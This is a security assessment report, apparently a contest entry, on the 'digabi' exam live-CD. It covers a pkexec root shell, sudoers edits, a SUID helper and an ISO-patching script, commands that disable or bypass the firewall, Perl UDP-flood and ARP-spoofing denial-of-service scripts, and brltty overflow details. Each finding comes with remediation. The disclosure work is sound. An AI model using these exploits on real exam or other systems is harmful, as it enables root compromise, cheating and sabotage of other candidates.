From: Harry Sintonen <sintonen@iki.fi>
To: digabi@ylioppilastutkinto.fi
Subject: hackabi contest entry, version 1.8

0. Foreword
-----------

In the simplest terms the assessment can be seen as a situation where an 
attacker has gained access to a computer system with egress network 
filtering. The attacker tries to obtain administrative privileges and 
find a way to access their (remote) resources. As such many typical 
security assessment methods and practices can be used. Host review can be 
performed on the target system, looking for configuration and harderning 
mistakes and weaknesses, and old software versions with existing, old 
vulnerabilities. Off-the-shelf tools can used, as well as manual testing 
and checks.

Yet, only limiting the assessment to such typical attack scenarios 
also limits the type and scope of the potential vulnerabilities found. To 
fully explore all the potential scenarios one needs to consider the use 
cases and the motivations of the attacker. Here the attacker is a 
candidate who wants to gain advantage over the other candidates in an 
exam. Typically the methods to achive this are:

1) cheat by obtaining offline or online information
2) co-operate with one or more candidates
3) sabotage the exam for other candidates

When considering all this some rather atypical attack scenarios emerge. 
These may go way beyond the "digabi" image itself, and can involve rigged 
hardware, network configuration, infrastructure and even possible 
loopholes in policies and practices.

During the assessment some potential 0day vulnerabilities were found. 
All services enabled on the digabi image were checked for vulnerabilities 
by means of source code review, specifically targetting the external 
input flows.

The findings are classified in 5 levels here:

Critical   - The vulnerability has severe consequences and may undermine
             the whole project
High       - The vulnerability leads to a full system compromise or other
             similar dire consequences
Medium     - The vulnerability has some security impact, but doesn't lead
             to full system compromise
Low        - The vulnerability has minor security impact
Note       - The vulnerability has no security impact in the scope of the
             assessment, but was still deemed important enough to be worth
             mentioning

Each finding includes a remediation section which discussess the possible 
ways to remedy the problem.


1. Critical: Design flaw
------------------------

The software is inherently vulnerable to hacking via virtualization, bootkits, 
firmware malware etc. For example the attacker can easily set up a XEN or other 
virtual machine to start up instantly as the system is powered up. The 
configured virtual machine will then pick up and boot the USB stick or the 
CD-ROM. The virtualized environment appears fully legimate but the student has 
full control of the host and the VM running the Digabi OS image.

This allows the student to access all resources of the original host system, 
including:
a) gain access to previously stored material
b) establishing connection to any peer within or outside the local network
c) access any network services
d) allows the candicate to attempt to mount attacks against other hosts in the 
local network (ARP spoofing etc).


Remediation:

- There is no obvious way to prevent an attack of this kind, unless if
  there is some way to guarantee the integrity of the hardware. It is
  extremely unlikely such integrity could be guaranteed in the environment
  envisioned.


2. Critical: Local root via policykit
-------------------------------------

The student can gain full administrative rights (root) by issuing the `pkexec' 
command.

$ pkexec bash

The student is then able to disable the firewall by issuing the following 
command:

# iptables -I OUTPUT -j ACCEPT

This allows the student to:
a) gain access to previously stored material
b) establish connection to any peer within or outside the local network
c) access any network services
d) allows the candicate to attempt to mount attacks against other hosts in the 
local network (ARP spoofing etc).

PoC screenshot:

digabi-root-via-policykit.png
https://sintonen.fi/pics/digabi-root-via-policykit.png
Remediation: - Disable policykit in live-config 3. High: Firewall bypass via custom Wi-Fi hotspot ------------------------------------------------- The student can connect to any WiFi hotspot if built-in WLAN is available. If not, the student can connect an USB WiFi module to the system and connect to arbitrary Wi-Fi hotspot. Afterwards there are at least two ways to access arbitrary content on the internet: a) Set up the access point to provide a virtual proxy system via the IP address enabled in the iptables (83.143.221.46 or 83.145.200.151). This is trivial to achieve with iptables, for example: % iptables -i eth1 -t nat -A PREROUTING -p tcp -d 83.143.221.46 --dport \ 80 -j DNAT --to-destination <proxyhost>:80 % iptables -i eth1 -t nat -A PREROUTING -p tcp -d 83.143.221.46 --dport \ 443 -j DNAT --to-destination <proxyhost>:443 The access point can then provide access to arbitrary sites via this fake host. For example: https://e-lomake.fi/www.wolframalpha.com/ PoC screenshot: digabi-pwn-via-wifi-gateway.png
https://sintonen.fi/pics/digabi-pwn-via-wifi-gateway.png
Such Wi-Fi hotspot is trivial to set up before the actual exam and covertly connect to it during the exam. b) Have the WiFi hotspot provide an IPv6 connectivity. No IPv6 firewall is set up, and thus all IPv6 enabled resources are available (including google and wikipedia). Remediation: - Only allow browser to access specific sites over SSL and do not allow user to connect to sites with untrusted SSL certificates. All other connectivity should be forbidden. - Disable IPv6 and/or set up ip6tables to block all traffic. It's notable that even though the browser access would be hardened to only allow SSL connectivity, some other applications might still be able to connect to network without SSL. Libreoffice likely allows this for example. Limiting the network access to specific applications via iptables owner module could help (-m owner --sid-owner). Such hack would be somewhat difficult to implement however, as modifying iptables rules dynamically and securely could prove tricky. Note that some other measures could be taken to mitigate such attack, for example prevent the user from modifying the network configuration. However, such measure would add extra manual work as the ISO image would need to be customized for each school/network environment. 4. High: Local root via media manipulation ------------------------------------------ If the digabi ISO is written to a writable media (USB Stick for instance) the student can easily modify the media to allow root access. Depending on how well the computer usage is supervised the student may also be able to swap the USB stick/CD ROM to their own modified version during the exam. The root access can be achieved in various ways. These include at least, but not limited to: a) Append SUID binary to live/filesystem.squashfs image with mksquashfs b) Modify isolinux/live.cfg to drop the user to root shell: perl -pe 's/security=apparmor/init=\/bin\/bash /g' After booting the modified media, modify the /etc/sudoers to allow full root access and resume the boot process: echo "ALL ALL=(ALL) NOPASSWD:ALL" >>/etc/sudoers;exec init c) Modify isolinux/live.cfg to add the user to sudo group: perl -pe 's/splash security=apparmor locales=.{33}/live-config.user-default-groups=cdrom,floppy,plugdev,netdev,sudo\n\0/g' After booting the modified media the user can now gain root directly via sudo (password is 'live'). d) Manipulate /etc/sudoers or related files inside the live/filesystem.squashfs image file. e) Add "sudo" group to /etc/live/config/user.conf LIVE_USER_DEFAULT_GROUPS inside the live/filesystem.squashfs image. Sudo password is 'live'. f) Modify /etc/inittab and isolinux config to allow single-user mode g) Patch kernel or kernel modules at live/vmlinuz and/or live/initrd.img The `method a' was implemented for demonstration purposes. The following tool was compiled and appended to the filessystem.squashfs as "/suid-exec": #include <unistd.h> int main(int argc, char **argv) { if (argc > 1) { setreuid(geteuid(), geteuid()); execve(argv[1], argv + 1, argv + 1 + argc); } return 0; } $ chmod 4755 suid-exec $ cp /mnt/digabi/live/filesystem.squashfs . $ mksquashfs suid-exec filesystem.squashfs -all-root Note: The actual tool used was implemented in highly optimized C calling kernel syscalls directly, resulting in executable size of 428 bytes. This made sure that the actual squashfs image file size doesn't change (squashfs by default pads the image to multiple of 4KB). This in turn enabled easy ISO image manipulation since the whole image doesn't need to be remastered. Since only small amount of data needs to be modified, patching the media can be performed in a fraction of a second. Appending the data to the squashfs only modifies the file headers (first 0x60 bytes) and the last 1.3MB of the file. By scanning the iso image we can determine that the filesystem.squashfs begings at file offset 0xea7000. Patching the ISO image can now be performed easily with: #!/usr/bin/env python fsisooff = 0x00ea7000 # offset of the squasfs file on the iso headoff = 0 # patch first 0x60 bytes of the file headlen = 0x60 tailoff = 600000000 + 0x2fab6a0 # offset of tail patch toiso = open("digabi-livecd-v1.0.iso", "r+b") patchedfs = open("filesystem.squashfs", "rb") toiso.seek(fsisooff + headoff, 0) toiso.write(patchedfs.read(headlen)) toiso.seek(fsisooff + tailoff, 0) patchedfs.seek(tailoff, 0) toiso.write(patchedfs.read()) When booted the resulting ISO contains the /suid-exec binary which can be used to gain root privileges. The same patching method can be applied to USB sticks as well. These allows the student to: a) gain access to previously stored material b) establish connection to any peer within or outside the local network c) access any network services d) allows the candicate to attempt to mount attacks against other hosts in the local network (ARP spoofing etc). `Method a' PoC screenshot: digabi-root-via-media-manipulation.png
https://sintonen.fi/pics/digabi-root-via-media-manipulation.png
`Method b' PoC screenshots: digabi-root-via-media-manipulation2a.png
https://sintonen.fi/pics/digabi-root-via-media-manipulation2a.png
digabi-root-via-media-manipulation2b.png
https://sintonen.fi/pics/digabi-root-via-media-manipulation2b.png
`Method c' PoC screenshot: digabi-root-via-media-manipulation3.png
https://sintonen.fi/pics/digabi-root-via-media-manipulation3.png
Remediation: - Only use read only media. - Make sure that the students cannot manipulate the computer during the exam (reboot, touch usb ports). 5. High: stack overflow in brltty daemon handleWrite function ------------------------------------------------------------- CVE-2013-1446 There is a stack overflow bug in the brltty daemon. This vulnerability may allow local code execution with the privileges of the brltty daemon (root). (gdb) r -n Starting program: brltty -n warning: Cannot call inferior functions, Linux kernel PaX protection forbids return to non-executable pages! BRLTTY 4.5 rev 5477 [http://mielke.cc/brltty/] brltty: Linux Screen Driver: brltty: BrlAPI Server: release 0.6.0 brltty: NoSpeech Speech Driver: brltty: BrlAPI connection fd=12 accepted: local <unnamed> brltty: writing exception 7 to 12 brltty: (conv = iconv_open(getWcharCharset(),charset)) != (iconv_t)(-1) not met: invalid charset [New LWP 24886] Program received signal SIGSEGV, Segmentation fault. [Switching to LWP 24886] 0xb1b9427f in ?? () (gdb) The offending code is at Programs/brlapi_server.c/handleWrite(...): ... rbeg = ntohl( *((uint32_t *) p) ); p += sizeof(uint32_t); remaining -= sizeof(uint32_t); /* region begin */ rsiz = ntohl( *((uint32_t *) p) ); p += sizeof(uint32_t); remaining -= sizeof(uint32_t); /* region size */ CHECKEXC( (1<=rbeg) && (rsiz&>0) && (rbeg+rsiz-1<=displaySize), BRLAPI_ERROR_INVALID_PARAMETER, "wrong region"); ... The condition rbeg+rsiz-1<=displaySize doesn't account for overflow that may result from using large `rbeg' and `rsiz' values. By using a specially crafted values the check can by bypassed. Later in the function the rsiz value is used to allocate an array from the stack: wchar_t textBuf[rsiz]; By employing rsiz value of close to 0x100000000 / sizeof(wchar_t) the allocation can be made to wrap and allocate very little stack storage, leading to a stack overflow. The syslog confirms the crash: Aug 9 02:37:15 localhost brltty[23848]: BrlAPI connection fd=7 accepted: inet 127.0.0.1:55021 Aug 9 02:37:15 localhost kernel: [77617.464619] grsec: exec of /home/digabi/src/apiclient (./apiclient ) by /home/digabi/src/apiclient[bash:23870] uid/euid:1000/1000 gid/egid:1000/1000, parent /bin/bash[bash:4197] uid/euid:1000/1000 gid/egid:1000/1000 Aug 9 02:37:15 localhost brltty[23848]: writing exception 7 to 7 Aug 9 02:37:15 localhost brltty[23848]: (conv = iconv_open(getWcharCharset(),charset)) != (iconv_t)(-1) not met: invalid charset Aug 9 02:37:15 localhost kernel: [77617.624231] brltty[23851]: segfault at 7 ip ae350ad8 sp adedcac0 error 4 in libc-2.17.so[ae264000+16e000] Aug 9 02:37:15 localhost kernel: [77617.624253] grsec: Segmentation fault occurred at 00000007 in /sbin/brltty[brltty:23851] uid/euid:0/0 gid/egid:0/0, parent /sbin/init[init:1] uid/euid:0/0 gid/egid:0/0 Aug 9 02:37:15 localhost kernel: [77617.624279] grsec: denied resource overstep by requesting 4096 for RLIMIT_CORE against limit 0 for /sbin/brltty[brltty:23851] uid/euid:0/0 gid/egid:0/0, parent /sbin/init[init:1] uid/euid:0/0 gid/egid:0/0 The PoC crash above was generated by using `rbeg' 3221225505 and `rsiz' 1073741792. If truly exploitable this vulnerability may allow the student to: a) gain access to previously stored material b) establish connection to any peer within or outside the local network c) access any network services d) allows the candicate to attempt to mount attacks against other hosts in the local network (ARP spoofing etc). PoC executable: https://sintonen.fi/priv/digabi-brltty-poc-apiclient.bin Remediation: - Remove brltty package - Report the bug to BRLTTY Developers and Debian Note: This vulnerability was discovered by means of code review of the enabled services. The exploitability of this vulnerability may depend on the configuration of the host system. The bug hasn't yet been reported to BRLTTY Developers or Debian. 6. High: Heap overflow in BRLTTY FreedomScientific driver --------------------------------------------------------- CVE-2013-1446 There is a heap overflow bug in the BRLTTY FreedomScientific driver. This vulnerability may allow local code execution with the privileges of the brltty daemon (root). struct BrailleDataStruct declares a fixed size outputBuffer array: unsigned char outputBuffer[84]; However, by manipulating the PKT_INFO packet response payload.info.model string, arbitrary maximum value for the array size can be given: if (isInteger(&size, ++word)) { brl->data->genericModelEntry.cellCount = size; Later in the code when the outputBuffer is manipulated via brl_writeWindow call the memory past the outputBuffer will be overwritten (memcpy with the caller provided content). Exploiting this vulnerability would require crafting a special USB device that identifies itself as a generic device supported by the driver (brltty daemon autoloads the driver). Once plugged in, a client application can trigger the BRLTTY write operations that overflow the outputBuffer. It is somewhat difficult to verify whether this issue would truly be exploitable or not. Verifying this is outside of the scope of this assessment. However the potential is there. Remediation: - Remove brltty package - Report the bug to BRLTTY Developers and Debian Note: This vulnerability was discovered by means of code review of the enabled services. The exploitability of this vulnerability may depend on the configuration of the host system. The bug hasn't yet been reported to BRLTTY Developers or Debian. 7. High: Denial of service via DHCP port flooding ------------------------------------------------- The attacker can render victim's digabi instance largely inoperable by sending large number of specially crafted UDP packets to victim's DHCP (68) port. There effect of the UDP traffic is threefold: - System runs out of disk space due to syslog growth - The incoming network traffic slows down legimate network traffic - CPU time consumption slows down the system Running out of disk space is particularly effective as it renders many components of the system unusable (browsing via Iceweasel doesn't work, several applications fail to start, for example Libreoffice). Since the syslog file cannot be removed by the user the only remedy is a reboot. However, the attacker can launch the attack again as soon as the client reappears. No root privileges are required to implement the simple UDP flooding, however the firewall in digabi itself will block the outgoing UDP packets. Either the firewall needs to be disabled or the flooding needs to originate from a different system. Here is the PoC flooder: #!/usr/bin/perl use Socket; use strict; my ($ip) = @ARGV; my $addr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n"; my $sa = pack_sockaddr_in(68, $addr); my $p = pack("a[236]", "\x01\x01\xff"); socket(f, PF_INET, SOCK_DGRAM, 17); for (;;) { send(f, $p, 0, $sa); } The DHCP payload HLEN is set to 0xff. This will trigger the dhclient code path resulting to the logging: if (packet -> hlen > sizeof packet -> chaddr) { packet_dereference (&decoded_packet, MDL); log_info ("Discarding packet with bogus hlen."); return; } There likely are other code paths with similar effect, but this was the simplest to abuse. PoC screenshot: digabi-DoS-via-udp-flooding.png
https://sintonen.fi/pics/digabi-DoS-via-udp-flooding.png
Remediation: - Disable logging or enable rsyslog rate limiting in the final release version - Possibly report the issue to Internet Systems Consortium Note: While this issue is rather serious in the context of digabi, it is debatable whether it is a security issue in ISC dhclient itself. It may be useful for attackers as it may allow denial of service or disabling of logging in specific circumstances. 8. High: Denial of service via ARP spoofing ------------------------------------------- The digabi system is susceptible to ARP spoofing. The attacker within the same network segment can effectively block all network traffic, or traffic for the specific targetted computers. Here is the PoC denial of service script: #!/usr/bin/perl use Net::ARP; use strict; my ($iface,$gwip,$dstip) = @ARGV; for(;;) { Net::ARP::send_packet($iface,$gwip,$dstip, '00:15:07:71:55:17','FF:FF:FF:FF:FF:FF','reply'); sleep(4); } Example run (for a typical 192.168.0.0/24 network): # sudo ./arpdos.pl eth0 192.168.0.1 192.168.0.255 & PoC screenshot: digabi-DoS-via-arp-spoofing.png
https://sintonen.fi/pics/digabi-DoS-via-arp-spoofing.png
Remediation: - Enable port security and ARP security features in switches if available - Make sure that no unknown or 3rd party devices are connected to the exam network in order to try manage the risk Note: The best defense against ARP spoofing would be to have static ARP entries for the gateway and/or other critical LAN components. Unfortunately this is not feasible for the digabi system since it's a static livecd that should work in various different network environments. There is little that can be done in the digabi itself. Any corrective action would need to target the network environment. One possible solution might be to demand certain level of security features from the exam network environment. 9. High: Access to previously stored material via optical media --------------------------------------------------------------- The digabi user is in the `cdrom' group. The user can read optical media via /dev/sr0. It is even possible to append arbitrary material to the end of the digabi-livecd-v1.0.iso file (the iso needs to be padded to multiple of 4096 bytes though). When burnt to CD/DVD the content is easily available via: $ tail -c +667942913 /dev/sr0 > material The content is by no means limited to text, it can be any data, for example XZ compressed tar archive. Such data could be extracted with: $ tail -c +667942913 /dev/sr0 | tar Jx PoC screenshot: digabi-previously-stored-material-via-optical-media.png
https://sintonen.fi/pics/digabi-previously-stored-material-via-optical-media.png
Remediation: - Remove digabi user from cdrom group (if it doesn't break livecd boot) 10. Medium: Covert communication channel over USB HID devices ------------------------------------------------------------- By connecting wireless USB HID devices and swapping the input devices two students can co-operate during the exam. The communication works by writing messages to the screen of the other party. Message exchange happens as if using a chat program, except that you cannot see the text you type yourself. This attack works regardless of the operating system software used. Remediation: - Restrict the use of additional keyboards and/or input devices 11. Medium: Access to previously stored material via USB HID device ------------------------------------------------------------------- It is possible to store information to a small USB device that mimics a HID keyboard device and automatically "types" the content once the device has been plugged in. For example Teensy USB development board can be used to implement such a feature: http://www.goewert.org/2012/08/teensytyper-teensyduino-usb-keyboard.html Remediation: - It may be extremely difficult to prevent use of small customized USB devices, especially if the computer itself is booted from one (how to tell the difference between the official stick and a hacked one?). Some sort of policy of forbidding the use any USB devices could work, assuming the ban can be enforced successfully 12. Note: Heap overflow in BRLTTY HandyTech driver -------------------------------------------------- CVE-2013-1446 BRLTTY HandyTech driver handling of HT_EXTPKT_AtcInfo response allows heap manipulation via crafted response packet. However the values that can be written to heap are limited due to nibble duplication (for example 0x12,0x34 would become 0x11,0x22,0x33,0x44 in memory). HT_EXTPKT_ReadingPosition handling has a similar issue, but it only allows writing value 0xff to heap. As such it is extremely unlikely these vulnerabilities could be exploited for arbitrary code execution. Remediation: - Report the bug to BRLTTY Developers and Debian Note: This vulnerability was discovered by means of code review of the enabled services. The exploitability of this vulnerability may depend on the configuration of the host system. The bug hasn't yet been reported to BRLTTY Developers or Debian. 13. Note: Heap overflow in BRLTTY MultiBraille driver ----------------------------------------------------- CVE-2013-1446 There is a obvious programming mistake in the MultiBraille driver initialization. brl->textColumns and brl->textRows are used to allocate memory while the values are their internal default (0 and 1), resulting in the code allocating 0 bytes of memory: if ((prevdata = malloc(brl->textColumns * brl->textRows))) { if ((rawdata = malloc(20 + (brl->textColumns * brl->textRows * 2)))) { brl->textColumns = brlcols; brl->textRows = BRLROWS; This leads to a heap overflow later on when the buffers are being manipulated. Since this particular driver only works over serial, it cannot be exploited in the scope of this assessment (the driver cannot automatically detect the device like the USB drivers can). Remediation: - Report the bug to BRLTTY Developers and Debian Note: This vulnerability was discovered by means of code review of the enabled services. The exploitability of this vulnerability may depend on the configuration of the host system. The bug hasn't yet been reported to BRLTTY Developers or Debian. 14. Note: Insecure password generation in BRLTTY BRL_BLK_PWGEN -------------------------------------------------------------- The BRL_BLK_PWGEN code uses weak pseudorandom random number generator with predictable seeding to create passwords. The Programs/brltty.c BRL_BLK_PWGEN code does the following: static const char codeset[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789"; const size_t codesetLength = strlen(codeset); wchar_t password[arg + 1]; wchar_t *character = password; const wchar_t *end = character + ARRAY_COUNT(password); while (character < end) { *character++ = codeset[rand() % codesetLength]; } The random number generator is seeded by system time at the daemon start time: ProgramExitStatus brlttyConstruct (int argc, char *argv[]) { srand((unsigned int)time(NULL)); ... It's possible to determine the time the daemon was started and reconstruct the generated passwords. If the password lenght is know it's possible to create list of passwords for certain time frame. Remediation: - Use strong random source for the password RNG - Report the bug to BRLTTY Developers and Debian Note: This vulnerability was discovered by means of code review of the enabled services. The bug hasn't yet been reported to BRLTTY Developers or Debian. 15. Note: old vulnerable software installed ------------------------------------------- The host has old version of VideoLAN media player (VLC) installed. The provided VLC 2.0.7 contains multiple vulnerabilities: http://www.videolan.org/vlc/releases/2.0.8.html 16. Note: User writable /etc/hosts ---------------------------------- File /etc/hosts is owned by user digabi. This likely is a mistake. It doesn't however have direct security implications in the scope of the environment. 17. Note: Firewall bypass via debug feature ------------------------------------------- It is possible to disable the firewall by issuing the following command: $ sudo /usr/bin/digabi webaccess allow This is likely intended debug feature that will be disabled for the release ISO.